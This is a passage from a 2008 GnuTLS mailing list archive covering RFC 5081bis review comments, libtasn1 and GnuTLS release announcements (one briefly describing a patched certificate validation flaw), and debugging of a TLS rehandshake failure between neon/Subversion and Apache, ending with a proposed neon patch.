> and i was confused by it, fwiw.  The top of page 37 of RFC 5246 [0]
> actually takes pains to explain the difference between client and
> server use of the handshake messages:
> 
>    Note one exception to the ordering: the Certificate message is used
>    twice in the handshake (from server to client, then from client to
>    server), but described only in its first position.
> Perhaps a similar clarification would be useful in 5081bis?


Would the following text in "Client hello" section be enough?
"Note that the CertificateTypeExtension structure is being used both by
the client and the server, although specified once in this document, a
practice common in the TLS protocol specification <xref target="RFC5246"/>."

>>>  * There is no IANA registry requested for OpenPGPCertDescriptorType,
>>>    and none is allocated in 5081 either.  Is that OK?  Could this enum
>>>    ever change?  Who will manage addition of new values there are
>>>    changes needed?
>> The only way for this to change now is through an rfc that updates this
>> one. Since this is individual submission I cannot allocate IANA registry
>> for that. (rfc5081 was sponsored by TLS WG).
> 
> OK, that's a shame.  Isn't 5081bis an RFC that updates 5081?  Or are
> you saying that this would need to be handled in an additional
> subsequent RFC?  Would a second author on the RFC raise it out of
> "individual submission" status enough to consider allocation of a new
> registry?  Sorry i don't know more about the RFC process.  Pointers to
> relevant documentation would be happily accepted.

formally rfc5081bis would obsolete rfc5081, but because there wasn't
interest in any working group for this document, it is an independent
submission, that documents the way we use in gnutls openpgp
certificates. More authors wouldn't affect the process since a WG has to
show interest.

The independent submission proccess is at:
http://www.rfc-editor.org/indsubs.html
The ietf standard process is at:
http://www.ietf.org/IETF-Standards-Process.html

>>>  * I'm concerned that the useful values for OpenPGPCertDescriptorType
>>>    (subkey_cert and subkey_cert_fingerprint) all refer to subkeys.
>>>    It's certainly possible to set the Authentication (0x20) Usage flag
>>>    [0] on the primary key, or to have a primary key with no subkeys.
>>>    While i think the obvious answer is that the keyid can refer to
>>>    *either* the primary key or the subkey (but to a specific key, not
>>>    to the entire aggregated certificate), it seems a little odd to
>>>    explicitly call it the subkey id.
>> Indeed. However I prefer this naming because it makes explicit the fact
>> that subkeys can be used. (the term key id wouldn't). Should I make
>> explicit the fact that the main keyid could be used there?
> 
> Yes, making it explicit in the RFC would be good.

I changed the sentence:
"Since those certificates might contain several subkeys
                   the subkey to be used for this session is explicitely
                   specified in the OpenPGPKeyID field, even if the
                   certificate has a single subkey."
with:
"Since those certificates might contain several subkeys
   the subkey ID to be used for this session is explicitely
       specified in the OpenPGPKeyID field. The key ID must be specified
even if the certificate has only a primary key."


>>>  * Why are OpenPGPKeyID elements written foo<1..8>.  Shouldn't we be
>>>    requiring the full 8 bytes of keyid?  The syntax seems to imply to
>>>    me that i could offer a 1-byte KeyID and still be compliant.
>> Compliant with rfc5081bis but not with rfc4880 thus rejected by the
>> peer. However this notation has the advantage that it includes a header
>> with the length of foo. Thus if rfc4880 is updated an includes keyids
>> that are more than 8 bytes long the same structure will be able to hold
>> them.
> 
> In that case, shouldn't it actually be foo<8..> or something like
> that?  We know that the keyids will no less then 8, but we would like
> to leave it open to be larger, right?  There's no sense in capping the
> size at 8 max, or allowing values lower than 8 that i can see.  Or am
> i misunderstanding the syntax?

I've changed it to:
   struct {
       opaque OpenPGPKeyID<8..255>;
       opaque OpenPGPCert<0..2^24-1>;
   } OpenPGPSubKeyCert;

   struct {
       opaque OpenPGPKeyID<8..255>;
       opaque OpenPGPCertFingerprint<20..255>;
   } OpenPGPSubKeyFingerprint;


Plus the text:
"Implementations of this protocol MUST ensure that the sizes,

of key IDs and fingerprints, in the
OpenPGPSubKeyCert and OpenPGPSubKeyFingerprint structures
comply with <xref target="RFC4880"/>. "

>>>  * Why does OpenPGPSubKeyFingerprint contain both OpenPGPKeyID and
>>>    OpenPGPCertFingerprint?  For V4 keys, the KeyID is just the
>>>    low-order 64 bits of the fingerprint [1].  If we only allow
>>>    V4-or-later keys in this spec, we could remove that struct element.
>> The OpenPGPCertFingerprint should contain the fingerprint of the
>> main key of the certificate and OpenPGPKeyID the keyid of the subkey
>> to be used for authentication. Do you think that I should include
>> this explanation in the document?
> 
> If this is the desired behavior, then yes, it should be made
> significantly more explicit.  As one point of reference, GPG makes
> very little distinction between keyids of a subkey and keyids of a
> primary key.  While the output will always show the primary keyid in
> most places, you can specify the keyid of the subkey with no
> detriment.

Yes but in other cases one might index openpgp keys by the primary key
ID and thus might be required to retrieve it.

I changed:
"This tag uses the OpenPGPSubKeyFingerprint structure
                   and requires the subkey ID to be specified as well."
to:
"This tag uses the OpenPGPSubKeyFingerprint structure
and requires the primary key fingerprint to be specified, as well
as the subkey ID to be used for this session."

> bother including the fingerprint of the main key?  Why not just
> include the fingerprint of the relevant sub/primary key?

This is a method for retrieving keys and shouldn't force one to index
all the subkeys of a single certificate.

> One other question:
> Should there be any recommendation that the (primary or sub) key
> should have any particular Usage flags set?  I think it would be
> appropriate to suggest that keys with the Authentication Usage Flag
> (0x20) SHOULD be used, since authentication is the specific use of the
> keys in this context (AIUI, the Encrypted Communications Usage Flag
> (0x04) is not relevant because the communications are in fact
> encrypted by the negotiated cipher suite, *not* by the private keys of
> either party).

In the terminology section it says:
"We use the term "OpenPGP certificate" to refer to
             OpenPGP keys that are enabled for authentication."

This was intended to specify that keys must have the authentication
usage flag set. I think I should also make it explicit in the document
by appending to:

"OpenPGP certificates to be transferred are placed in the
Certificate structure and tagged with the OpenPGPCertDescriptorType
"subkey_cert". Since those certificates might contain several subkeys
the subkey ID to be used for this session is explicitely
specified in the OpenPGPKeyID field.
The key ID must be specified even if the certificate has only a primary
key. The peer once receiving this type has to either use the specified
subkey or terminate the session with a fatal alert of
"unsupported_certificate"."

the:
"The subkeys to be used with this protocol SHOULD have the
authentication flag (0x20) set."


regards,
Nikos




From simon at josefsson.org  Mon Nov 17 11:04:29 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 17 Nov 2008 11:04:29 +0100
Subject: libtasn1 1.7 release candidate
In-Reply-To: <200811150907.46355.dragonheart@gentoo.org> (Daniel Black's
	message of "Sat, 15 Nov 2008 09:07:42 +1100")
References: <200811140538.56751.dragonheart@gentoo.org>
	<87k5b635po.fsf@mocca.josefsson.org>
	<87fxlu34l6.fsf_-_@mocca.josefsson.org>
	<200811150907.46355.dragonheart@gentoo.org>
Message-ID: <87hc66wtw2.fsf@mocca.josefsson.org>

Daniel Black <dragonheart at gentoo.org> writes:

> On Fri, 14 Nov 2008 10:54:45 pm Simon Josefsson wrote:
>> Please test this snapshot:
>>
>> http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz
>>
>> If you can confirm that it solves the libtasn1-config problem, I'll
>> release it.
>>
>> Others, please test and tell me if there is anything wrong with it.
>>
>> Btw, there is now a 'libtasn1-1.x' branch:
>>
>> http://git.savannah.gnu.org/gitweb/?p=libtasn1.git
>> http://git.savannah.gnu.org/gitweb/?p=libtasn1.git;a=shortlog;h=refs/heads/
>>libtasn1_1_x
>>
>> /Simon
>
> is it worth re-adding lib/libtasn1.m4? gnome-keyring-2.22.3 uses it.

The file should only be needed by gnome-keyring developers, so if they
notice faster than libtasn1.m4 is gone, the better. :)

I'll release v1.7 now, thanks for testing everyone.

/Simon




From simon at josefsson.org  Mon Nov 17 11:08:18 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 17 Nov 2008 11:08:18 +0100
Subject: gnome-keyring patch
In-Reply-To: <200811151032.17628.dragonheart@gentoo.org> (Daniel Black's
	message of "Sat, 15 Nov 2008 10:32:13 +1100")
References: <200811140538.56751.dragonheart@gentoo.org>
	<87k5b635po.fsf@mocca.josefsson.org>
	<87fxlu34l6.fsf_-_@mocca.josefsson.org>
	<200811151032.17628.dragonheart@gentoo.org>
Message-ID: <87d4guwtpp.fsf@mocca.josefsson.org>

Daniel Black <dragonheart at gentoo.org> writes:

> gnome-keyring patch reported taking the libtasn1.m4 content and supporting 
> libtasn1-config and pkg-config.
>
> http://bugzilla.gnome.org/show_bug.cgi?id=560869
>
> probably should of put the pkg-config bit first. oh well, only a transition 
> strategy.

Thanks.  Btw, pkg-config has been supported by libtasn1 for quite a
while (0.2.14 to be precise), so maybe libtasn1-config isn't worth
supporting anymore?

/Simon




From simon at josefsson.org  Mon Nov 17 11:36:42 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Mon, 17 Nov 2008 11:36:42 +0100
Subject: Libtasn1 1.7
Message-ID: <87r65avdtx.fsf@mocca.josefsson.org>

Libtasn1 is a standalone library written in C for manipulating ASN.1
objects including DER/BER encoding and DER/BER decoding.  Libtasn1 is
used by GnuTLS to manipulate X.509 objects and by Shishi to handle
Kerberos V5 packets.

Version 1.7 (released 2008-11-17)
- Add libtasn1-config for compatibility.
  Please stop use it as it will disappear in v2.0!
  Use standard AC_CHECK_FUNCS autoconf tests or pkg-config instead.
- Read PKCS#12 blob as binary file, fixes self-tests under Mingw.
- Fix use of __attribute__ ((deprecated)) to work on non-GCC (#106548).

Commercial support contracts for Libtasn1 are available, and they help
finance continued maintenance.  Simon Josefsson Datakonsult, a Stockholm
based privately held company, is currently funding Libtasn1 maintenance.
We are always looking for interesting development projects.  See
http://josefsson.org/ for more details.

If you need help to use Libtasn1, or want to help others, you are
invited to join our help-gnutls mailing list, see:
<http://lists.gnu.org/mailman/listinfo/help-gnutls>.

Homepage:
  http://josefsson.org/libtasn1/

Here are the compressed sources (1.6MB):
  ftp://ftp.gnu.org/gnu/gnutls/libtasn1-1.7.tar.gz
  http://ftp.gnu.org/gnu/gnutls/libtasn1-1.7.tar.gz

Here are GPG detached signatures using key 0xB565716F:
  ftp://ftp.gnu.org/gnu/gnutls/libtasn1-1.7.tar.gz.sig
  http://ftp.gnu.org/gnu/gnutls/libtasn1-1.7.tar.gz.sig

The software is cryptographically signed by the author using an
OpenPGP key identified by the following information:

pub   1280R/B565716F 2002-05-05 [expires: 2009-04-21]
      Key fingerprint = 0424 D4EE 81A0 E3D1 19C6  F835 EDA2 1E94 B565 716F
uid                  Simon Josefsson <simon at josefsson.org>
uid                  Simon Josefsson <jas at extundo.com>
sub   1280R/4D5D40AE 2002-05-05 [expires: 2009-04-21]

The key is available from:
  http://josefsson.org/key.txt
  dns:b565716f.josefsson.org?TYPE=CERT

Here are the SHA-1 and SHA-224 checksums:

2d7bfe0d84f38a5450d8bab511eb1ec4036f18ec  libtasn1-1.7.tar.gz

ce004d130068664ec2b11dc291bec05b2ef98afc2d44257f7b6b7225  libtasn1-1.7.tar.gz

Happy hacking,
Simon
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 419 bytes
Desc: not available
URL: </pipermail/attachments/20081117/2e861566/attachment.pgp>

From simon at josefsson.org  Tue Nov 18 01:25:14 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Tue, 18 Nov 2008 01:25:14 +0100
Subject: GnuTLS 2.7.2
Message-ID: <87r6593mol.fsf@mocca.josefsson.org>

The GnuTLS 2.7.x branch is NOT what you want for your stable system.  It
is intended for developers and experienced users.

Here are the compressed sources:
  http://alpha.gnu.org/gnu/gnutls/gnutls-2.7.2.tar.bz2 (5.7MB)
  ftp://alpha.gnu.org/gnu/gnutls/gnutls-2.7.2.tar.bz2

Here is the OpenPGP signature:
  http://alpha.gnu.org/gnu/gnutls/gnutls-2.7.2.tar.bz2.sig
  ftp://alpha.gnu.org/gnu/gnutls/gnutls-2.7.2.tar.bz2.sig

Improving GnuTLS is costly, but you can help!  We are looking for
organizations that find GnuTLS useful and wish to contribute back.  You
can contribute by reporting bugs, improve the software, or donate money
or equipment.

Commercial support contracts for GnuTLS are available, and they help
finance continued maintenance.  Simon Josefsson Datakonsult AB, a
Stockholm based privately held company, is currently funding GnuTLS
maintenance.  We are always looking for interesting development
projects.  See http://josefsson.org/ for more details.

/Simon

* Version 2.7.2 (released 2008-11-18)

** libgnutls: Fix X.509 certificate chain validation error. [GNUTLS-SA-2008-3]
The flaw makes it possible for man in the middle attackers (i.e.,
active attackers) to assume any name and trick GNU TLS clients into
trusting that name.  Thanks for report and analysis from Martin von
Gagern <Martin.vGagern at gmx.net>.  [CVE-2008-4989]

Any updates with more details about this vulnerability will be added
to <http://www.gnu.org/software/gnutls/security.html>

** libgnutls: Fix namespace issue with version symbols.
The symbols LIBGNUTLS_VERSION, LIBGNUTLS_VERSION_MAJOR,
LIBGNUTLS_VERSION_MINOR, LIBGNUTLS_VERSION_PATCH, and
LIBGNUTLS_VERSION_NUMBER were renamed to GNUTLS_VERSION_NUMBER,
GNUTLS_VERSION_MAJOR, GNUTLS_VERSION_MINOR, GNUTLS_VERSION_PATCH, and
GNUTLS_VERSION_NUMBER respectively.  The old symbols will continue to
work but are deprecated.

** certtool: allow setting arbitrary key purpose object identifiers.

** libgnutls: Fix detection of C99 macros, to make debug logging work again.

** libgnutls: Add missing prototype for gnutls_srp_set_prime_bits.
Reported by Kevin Quick <quick at sparq.org> in
<https://savannah.gnu.org/support/index.php?106454>.

** libgnutls-extra: Make building with LZO compression work again.
Build failure reported by Arfrever Frehtes Taifersar Arahesis
<arfrever.fta at gmail.com> in
<http://permalink.gmane.org/gmane.comp.encryption.gpg.gnutls.devel/3194>.

** libgnutls: Change detection of when to use a linker version script.
Use --enable-ld-version-script or --disable-ld-version-script to
override auto-detection logic.

** doc: Change license on the manual to GFDLv1.3+.

** doc: GTK-DOC fixes for new splitted configuration system.

** doc: Texinfo stylesheet uses white background.

** tests: Add cve-2008-4989.c self-test.
Tests regressions of the GNUTLS-SA-2008-3 security problem, and the
follow-on problem with crashes on length 1 certificate chains.

** gnulib: Deprecated modules removed.
Modules include memchr and memcmp.

** Fix warnings and build GnuTLS with more warnings enabled.

** minitasn1: Internal copy updated to libtasn1 v1.7.

** API and ABI modifications:
gnutls_certificate_set_x509_simple_pkcs12_mem: ADDED
GNUTLS_VERSION: ADDED, replaces LIBGNUTLS_VERSION.
GNUTLS_VERSION_MAJOR: ADDED, replaces LIBGNUTLS_VERSION_MAJOR.
GNUTLS_VERSION_MINOR: ADDED, replaces LIBGNUTLS_VERSION_MINOR.
GNUTLS_VERSION_PATCH: ADDED, replaces LIBGNUTLS_VERSION_PATCH.
GNUTLS_VERSION_NUMBER: ADDED, replaces LIBGNUTLS_VERSION_NUMBER.
LIBGNUTLS_VERSION: DEPRECATED.
LIBGNUTLS_VERSION_MAJOR: DEPRECATED.
LIBGNUTLS_VERSION_MINOR: DEPRECATED.
LIBGNUTLS_VERSION_PATCH: DEPRECATED.
LIBGNUTLS_VERSION_NUMBER: DEPRECATED.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 419 bytes
Desc: not available
URL: </pipermail/attachments/20081118/9dd2ee83/attachment.pgp>

From dragonheart at gentoo.org  Tue Nov 18 13:24:13 2008
From: dragonheart at gentoo.org (Daniel Black)
Date: Tue, 18 Nov 2008 23:24:13 +1100
Subject: gnome-keyring patch
References: <200811140538.56751.dragonheart@gentoo.org>
	<87k5b635po.fsf@mocca.josefsson.org>
	<87fxlu34l6.fsf_-_@mocca.josefsson.org>
	<200811151032.17628.dragonheart@gentoo.org>
	<87d4guwtpp.fsf@mocca.josefsson.org>
Message-ID: <gfuc5f$f7k$1@ger.gmane.org>

Simon Josefsson wrote:

> Daniel Black <dragonheart at gentoo.org> writes:
> 
>> gnome-keyring patch reported taking the libtasn1.m4 content and
>> supporting libtasn1-config and pkg-config.
>>
>> http://bugzilla.gnome.org/show_bug.cgi?id=560869
>>
>> probably should of put the pkg-config bit first. oh well, only a
>> transition strategy.
> 
> Thanks.  Btw, pkg-config has been supported by libtasn1 for quite a
> while (0.2.14 to be precise), so maybe libtasn1-config isn't worth
> supporting anymore?
> 
> /Simon

Thanks for research into history. I probably should of done that and saved
some m4 porting pain. Updated patch in gnome bugzilla. Thanks again Simon.

-- 
Daniel Black <dragonheart at gentoo.org>
Gentoo Foundation





From simon at josefsson.org  Tue Nov 18 16:20:19 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Tue, 18 Nov 2008 16:20:19 +0100
Subject: gnome-keyring patch
In-Reply-To: <gfuc5f$f7k$1@ger.gmane.org> (Daniel Black's message of "Tue, 18
	Nov 2008 23:24:13 +1100")
References: <200811140538.56751.dragonheart@gentoo.org>
	<87k5b635po.fsf@mocca.josefsson.org>
	<87fxlu34l6.fsf_-_@mocca.josefsson.org>
	<200811151032.17628.dragonheart@gentoo.org>
	<87d4guwtpp.fsf@mocca.josefsson.org> <gfuc5f$f7k$1@ger.gmane.org>
Message-ID: <87r659xdqk.fsf@mocca.josefsson.org>

Daniel Black <dragonheart at gentoo.org> writes:

> Simon Josefsson wrote:
>
>> Daniel Black <dragonheart at gentoo.org> writes:
>> 
>>> gnome-keyring patch reported taking the libtasn1.m4 content and
>>> supporting libtasn1-config and pkg-config.
>>>
>>> http://bugzilla.gnome.org/show_bug.cgi?id=560869
>>>
>>> probably should of put the pkg-config bit first. oh well, only a
>>> transition strategy.
>> 
>> Thanks.  Btw, pkg-config has been supported by libtasn1 for quite a
>> while (0.2.14 to be precise), so maybe libtasn1-config isn't worth
>> supporting anymore?
>> 
>> /Simon
>
> Thanks for research into history. I probably should of done that and saved
> some m4 porting pain. Updated patch in gnome bugzilla. Thanks again Simon.

That patch looks simple and nice, thanks.

/Simon




From dkg at fifthhorseman.net  Fri Nov 21 00:01:57 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Thu, 20 Nov 2008 18:01:57 -0500
Subject: confirming debian #480041: subversion with libneon-gnutls fails if
	apache's SSLVerifyClient optional is set
Message-ID: <87zlju3st6.fsf@squeak.fifthhorseman.net>

I just wanted to confirm this problem:

I'm using the current debian testing (on both client and server),
subversion against an https repository hosted by apache with mod_ssl
and mod_svn.  The client in these scenarios *does not* have an X.509
certificate at all, but uses username/password authentication instead.

If i set up the apache mod_svn authentication like this:

   AuthType Basic
   AuthName "foo"
   AuthUserFile /srv/etc/htpasswd

   Require valid-user

Then a simple svn co works (i get prompted for a username/password if
none is cached, or it just connects if the authentication credentials
are already cached).

However, if i switch the authentication to:

   AuthType Basic
   AuthName "foo"
   AuthUserFile /srv/etc/htpasswd

   SSLVerifyClient optional
   SSLVerifyDepth 1
   SSLUserName SSL_CLIENT_S_DN_CN 

   Require valid-user

Then a checkout fails with:

[0 dkg at squeak ~]$ svn co https://foo.example.org/svn/monkey/trunk/gorilla
svn: OPTIONS of 'https://foo.example.org/svn/monkey/trunk/gorilla': Could not read status line: SSL error: Rehandshake was requested by the peer. (https://foo.example.org)
[1 dkg at squeak ~]$ 

On the client side:

[0 dkg at squeak ~]$ dpkg -l libsvn1 libneon27-gnutls libgnutls26 subversion libtasn1-3
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  libgnutls26    2.6.2-1        the GNU TLS library - runtime library
ii  libneon27-gnut 0.28.2-5       An HTTP and WebDAV client library (GnuTLS en
ii  libsvn1        1.5.1dfsg1-1   Shared libraries used by Subversion
ii  libtasn1-3     1.4-1          Manage ASN.1 structures (runtime)
ii  subversion     1.5.1dfsg1-1   Advanced version control system
[0 dkg at squeak ~]$ 

on the server side:

foo:/# dpkg -l apache2-mpm-worker libapache2-svn libssl0.9.8
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  apache2-mpm-wo 2.2.9-10       Apache HTTP Server - high speed threaded mod
ii  libapache2-svn 1.5.1dfsg1-1   Subversion server modules for Apache
ii  libssl0.9.8    0.9.8g-14      SSL shared libraries
foo:/# 

If i leave the server configured with SSLVerifyClient optional, i can
make svn work by doing the following as the superuser (thanks to
Krystian Bac?awski for the suggestion):

 cd /usr/lib
 rm libneon-gnutls.so.27
 ln -s libneon.so.27 libneon-gnutls.so.27

In that case, svn (indirectly hooked via libneon into OpenSSL instead
of gnutls) prompts me for a choice of certificate about 6 times, and
then goes ahead and authenticates me via username/password.

So this is clearly either a problem with libneon-gnutls, or with
gnutls itself.

I see the same problem whether i'm using libgnutls26 2.4.2-3 (from
lenny) or 2.6.2-1 (from experimental).

       --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081120/cd11d9dd/attachment.pgp>

From dkg at fifthhorseman.net  Fri Nov 21 01:02:30 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Thu, 20 Nov 2008 19:02:30 -0500
Subject: confirmation that debian #480041 is a gnutls problem,
	and steps to reproduce
Message-ID: <87od0aymi1.fsf@squeak.fifthhorseman.net>

OK, i'm now sure that debian #480041 is a gnutls problem, and not just
due to something wacky in libneon (though there may be libneon bits as
well).  Here's a way to duplicate the problem without using libneon.

Add the following line to /etc/hosts:

127.0.0.1 fubar.example.org

Generate an X.509 self-signed key/cert pair (or use an existing
key/cert pair -- it doesn't have to be self-signed):

  mkdir /tmp/testing && cd /tmp/testing
  openssl req -newkey rsa:1024 -keyout key.pem -nodes -subj '/CN=fubar.example.org' -x509 > cert.pem

Configure an apache2 virtualhost like this:

--------------------------------
<VirtualHost 127.0.0.1:443>
ServerName fubar.example.org
DocumentRoot /var/www/

SSLEngine on
SSLCertificateFile /tmp/testing/cert.pem
SSLCertificateKeyFile /tmp/testing/key.pem
SSLCACertificateFile /tmp/testing/cert.pem

<Location "/">
 SSLVerifyClient optional
</Location>

</VirtualHost>
--------------------------------

Then run the following command to simulate a web connection:

HTTP_QUERY='GET / http/1.1\r\nHost: fubar.example.org\r\n\r\n'
(sleep 3 && echo -e "$HTTP_QUERY" && sleep 3) | gnutls-cli fubar.example.org

The tail of the output looks like this for me:

---------------------------------
  ...
- Peer's certificate issuer is unknown
- Peer's certificate is NOT trusted
- Version: TLS1.0
- Key Exchange: DHE-RSA
- Cipher: AES-128-CBC
- MAC: SHA1
- Compression: NULL
- Handshake was completed

- Simple Client Mode:

*** Non fatal error: Rehandshake was requested by the peer.
*** Fatal error: A TLS fatal alert has been received.
*** Received alert [10]: Unexpected message
*** Server has terminated the connection abnormally.
---------------------------------

The apache2 error log looks like:

[Thu Nov 20 18:55:30 2008] [error] Re-negotiation handshake failed: Not accepted by client!?

Interestingly, if i don't wrap the "SSLVerifyClient optional" line in
the <Location /> tag, the connection goes through cleanly.  I think
this means that the problem appears when the handshake is
re-negotiated after some traffic has already been sent.

Hope this is helpful in debugging the problem.

     --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081120/7cfcc2bf/attachment.pgp>

From nmav at gnutls.org  Fri Nov 21 08:24:02 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Fri, 21 Nov 2008 09:24:02 +0200
Subject: confirmation that debian #480041 is a gnutls problem, and steps
 to reproduce
In-Reply-To: <87od0aymi1.fsf@squeak.fifthhorseman.net>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
Message-ID: <49266212.6030004@gnutls.org>

Daniel Kahn Gillmor wrote:
> OK, i'm now sure that debian #480041 is a gnutls problem, and not just
> due to something wacky in libneon (though there may be libneon bits as
> well).  Here's a way to duplicate the problem without using libneon.
[...]
> - Simple Client Mode:
> 
> *** Non fatal error: Rehandshake was requested by the peer.
> *** Fatal error: A TLS fatal alert has been received.
> *** Received alert [10]: Unexpected message
> *** Server has terminated the connection abnormally.
> ---------------------------------

Hello, this does not seem to be a gnutls error. The server merely asks
for renegotiation, gnutls-cli ignores it (legal behavior) and server
does not like it thus sends a fatal alert. However which version of
gnutls-cli is that? Can you try with the latest?

For neon to solve this, it has to perform a handshake after the
rehandshake request has been required.

regards,
Nikos




From joe at manyfish.co.uk  Fri Nov 21 09:29:44 2008
From: joe at manyfish.co.uk (Joe Orton)
Date: Fri, 21 Nov 2008 08:29:44 +0000
Subject: confirmation that debian #480041 is a gnutls problem, and
	steps to reproduce
In-Reply-To: <49266212.6030004@gnutls.org>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
Message-ID: <20081121082944.GA22857@manyfish.co.uk>

On Fri, Nov 21, 2008 at 09:24:02AM +0200, Nikos Mavrogiannopoulos wrote:
> For neon to solve this, it has to perform a handshake after the
> rehandshake request has been required.

Ah, I didn't realise that - OpenSSL will automatically rehandshake 
whenever requested by the server.  So to provide the equivalent 
behaviour with GnuTLS, I have to do something like:

start:
   ret = gnutls_record_send(blah);
   if (ret == GNUTLS_E_REHANDSHAKE) {
       gnutls_handshake(blah);
       goto start;
   }

and similarly with calls to record_recv?

Regards, Joe




From nmav at gnutls.org  Fri Nov 21 14:03:49 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Fri, 21 Nov 2008 15:03:49 +0200
Subject: confirmation that debian #480041 is a gnutls problem,
	and steps to reproduce
In-Reply-To: <20081121082944.GA22857@manyfish.co.uk>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk>
Message-ID: <c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>

Actually you only need to do this test on record_recv(). Note that
usually servers request upgrade in order to receive a client
certificate, thus it might be a good idea to notify or prompt the user
about that.

regards,
Nikos

On Fri, Nov 21, 2008 at 10:29 AM, Joe Orton <joe at manyfish.co.uk> wrote:
> On Fri, Nov 21, 2008 at 09:24:02AM +0200, Nikos Mavrogiannopoulos wrote:
>> For neon to solve this, it has to perform a handshake after the
>> rehandshake request has been required.
>
> Ah, I didn't realise that - OpenSSL will automatically rehandshake
> whenever requested by the server.  So to provide the equivalent
> behaviour with GnuTLS, I have to do something like:
>
> start:
>   ret = gnutls_record_send(blah);
>   if (ret == GNUTLS_E_REHANDSHAKE) {
>       gnutls_handshake(blah);
>       goto start;
>   }
>
> and similarly with calls to record_recv?
>
> Regards, Joe
>




From joe at manyfish.co.uk  Fri Nov 21 14:20:40 2008
From: joe at manyfish.co.uk (Joe Orton)
Date: Fri, 21 Nov 2008 13:20:40 +0000
Subject: confirmation that debian #480041 is a gnutls problem, and
	steps to reproduce
In-Reply-To: <c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
	<20081121082944.GA22857@manyfish.co.uk>
	<c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>
Message-ID: <20081121132040.GA25245@manyfish.co.uk>

On Fri, Nov 21, 2008 at 03:03:49PM +0200, Nikos Mavrogiannopoulos wrote:
> Actually you only need to do this test on record_recv().

OK.

> Note that usually servers request upgrade in order to receive a client 
> certificate, thus it might be a good idea to notify or prompt the user 
> about that.

neon already has a callback which does that, yeah.

Daniel, can you try this neon patch?

Index: src/ne_socket.c
===================================================================
--- src/ne_socket.c	(revision 1607)
+++ src/ne_socket.c	(working copy)
@@ -750,13 +750,15 @@
 static ssize_t read_gnutls(ne_socket *sock, char *buffer, size_t len)
 {
     ssize_t ret;
+    int reneg = 1; /* number of rehandshakes allowed */
 
     ret = readable_gnutls(sock, sock->rdtimeout);
     if (ret) return ret;
     
     do {
         ret = gnutls_record_recv(sock->ssl, buffer, len);
-    } while (RETRY_GNUTLS(sock, ret));
+    } while (RETRY_GNUTLS(sock, ret) 
+             || (ret == GNUTLS_E_REHANDSHAKE && reneg-- > 0));
 
     if (ret <= 0)
 	ret = error_gnutls(sock, ret);






From dkg at fifthhorseman.net  Fri Nov 21 17:54:00 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Fri, 21 Nov 2008 11:54:00 -0500
Subject: confirmation that debian #480041 is a gnutls problem,
	and steps to reproduce
In-Reply-To: <49266212.6030004@gnutls.org> (Nikos Mavrogiannopoulos's message
	of "Fri\, 21 Nov 2008 09\:24\:02 +0200")
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
Message-ID: <87hc61ow9j.fsf@squeak.fifthhorseman.net>

On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote:

> Hello, this does not seem to be a gnutls error. The server merely asks
> for renegotiation, gnutls-cli ignores it (legal behavior) and server
> does not like it thus sends a fatal alert. However which version of
> gnutls-cli is that? Can you try with the latest?

That was originally tested against debian's 2.4.2-3.  With 2.6.2-1
(from debian experimental), i get the same output:

 ...
- Peer's certificate issuer is unknown
- Peer's certificate is NOT trusted
- Version: TLS1.0
- Key Exchange: DHE-RSA
- Cipher: AES-128-CBC
- MAC: SHA1
- Compression: NULL
- Handshake was completed

- Simple Client Mode:

*** Non fatal error: Rehandshake was requested by the peer.
*** Fatal error: A TLS fatal alert has been received.
*** Received alert [10]: Unexpected message
*** Server has terminated the connection abnormally.

    --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081121/c471b888/attachment.pgp>

From dkg at fifthhorseman.net  Fri Nov 21 17:58:36 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Fri, 21 Nov 2008 11:58:36 -0500
Subject: confirmation that debian #480041 is a gnutls problem,
	and steps to reproduce
In-Reply-To: <49266212.6030004@gnutls.org> (Nikos Mavrogiannopoulos's message
	of "Fri\, 21 Nov 2008 09\:24\:02 +0200")
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
Message-ID: <87d4gpow1v.fsf@squeak.fifthhorseman.net>

